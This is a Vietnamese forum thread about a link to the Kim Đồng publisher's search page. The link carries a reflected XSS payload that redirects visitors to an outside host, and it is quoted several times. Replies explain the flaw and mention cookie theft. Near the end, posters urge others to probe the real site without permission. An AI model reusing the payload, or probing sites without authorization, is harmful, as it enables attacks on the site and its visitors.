Mọi người cho em hỏi có phải website này bị hack không ạ

[nothing_1122]

Có người lạ gửi cho em đường link này xong em bấm vô thì nó lại chuyển hưởng sang trang khác ạ mọi người xem giúp em với
link website: https://www.nxbkimdong.com.vn/tim-k...CmPKsL89YgwKZbwIdk53Bb5j5ltxLQrEN1iN3N9DDlQMA

 

Khả năng là trang web có lỗi redirect hoặc XSS

 

Có người lạ gửi cho em đường link này xong em bấm vô thì nó lại chuyển hưởng sang trang khác ạ mọi người xem giúp em với
link website: https://www.nxbkimdong.com.vn/tim-kiem?title=<script>window.location.href ="http://c-l-a-y-f-o-r-u-m.000webhostapp.com/"</script>&fbclid=IwAR0Sx1lPUSUcW2CmPKsL89YgwKZbwIdk53Bb5j5ltxLQrEN1iN3N9DDlQMA

Trang web của NXB Kim Đồng không bị hack. Trong link có dấu hiệu giúp tấn công XSS.
Chi tiết link khi bạn click ....com.vn/tim-kiem?title=<script>window.location.href ="http://c-l-a-y-f-o-r-u-m.000webhostapp.com/"</script>&amp;fbclid=IwAR0Sx1lPUSUcW2CmPKsL89YgwKZbwIdk53Bb5j5ltxLQrEN1iN3N9DDlQMA
Khi click link, một đoạn script (<script>window.location.href = "c-l-a-y-f-o-r-u-m.000webhostapp.com"</script>) sẽ được add vào source web và web sẽ thực hiện đoạn script này và chuyển hướng sang trang c-l-a-y-f-o-r-u-m.000webhostapp.com.

 

Trang web của NXB Kim Đồng không bị hack. Trong link có dấu hiệu giúp tấn công XSS.
Chi tiết link khi bạn click ....com.vn/tim-kiem?title=<script>window.location.href ="http://c-l-a-y-f-o-r-u-m.000webhostapp.com/"</script>&amp;fbclid=IwAR0Sx1lPUSUcW2CmPKsL89YgwKZbwIdk53Bb5j5ltxLQrEN1iN3N9DDlQMA
Khi click link, một đoạn script (<script>window.location.href = "c-l-a-y-f-o-r-u-m.000webhostapp.com"</script>) sẽ được add vào source web và web sẽ thực hiện đoạn script này và chuyển hướng sang trang c-l-a-y-f-o-r-u-m.000webhostapp.com.

vậy là website ko bị deface

 

Khả năng là trang web có lỗi redirect hoặc XSS

mà mình tấn công xss thì được gì vậy anh

 

vậy là website ko bị deface

Theo mình là đúng như vậy. Tốt hơn thì nên kiểm tra dữ liệu đầu vào trước khi thực hiện và hiển thị kết quả tìm kiếm.

 

Trang web của NXB Kim Đồng không bị hack. Trong link có dấu hiệu giúp tấn công XSS.
Chi tiết link khi bạn click ....com.vn/tim-kiem?title=<script>window.location.href ="http://c-l-a-y-f-o-r-u-m.000webhostapp.com/"</script>&amp;fbclid=IwAR0Sx1lPUSUcW2CmPKsL89YgwKZbwIdk53Bb5j5ltxLQrEN1iN3N9DDlQMA
Khi click link, một đoạn script (<script>window.location.href = "c-l-a-y-f-o-r-u-m.000webhostapp.com"</script>) sẽ được add vào source web và web sẽ thực hiện đoạn script này và chuyển hướng sang trang c-l-a-y-f-o-r-u-m.000webhostapp.com.

cho em hỏi nếu file "web.config" và file "hta.access" truy cập được thì tin tặc làm gì để hack web ạ?

 

mà mình tấn công xss thì được gì vậy anh

XSS thì kẻ tấn công chỉ có thể ăn cắp cookie, hoặc tạo XSS-shell trên khía cạnh trình duyệt.

 

Các tấn công liên quan đến file htaccess bạn có thể xem tại đây.

 

Các tấn công liên quan đến file htaccess bạn có thể xem tại đây.

cảm ơn anh

 

Bạn muốn biết URL đó có an toàn không thì test trên này nhé : https://khonggianmang.vn/

 

Có ai nhắn cho NXB Kim Đồng chưa vậy?
Nhắn để họ sửa kìa.

 

Có ai nhắn cho NXB Kim Đồng chưa vậy?
Nhắn để họ sửa kìa.

họ ko quan tâm luôn anh ơi :'(

 

họ ko quan tâm luôn anh ơi :'(

Để xem thử còn exploit nào ko.
Nếu họ ko quan tâm thì mình thử đăng lên bug bounty xem.
P/s:Nếu ô searching có XSS thì dễ là ô tên đăng nhập trong mục đăng kí cũng có...

 

Mọi người thử pen trang của KĐ đi.
Đến khi tìm ra hết rồi báo luôn một mẻ.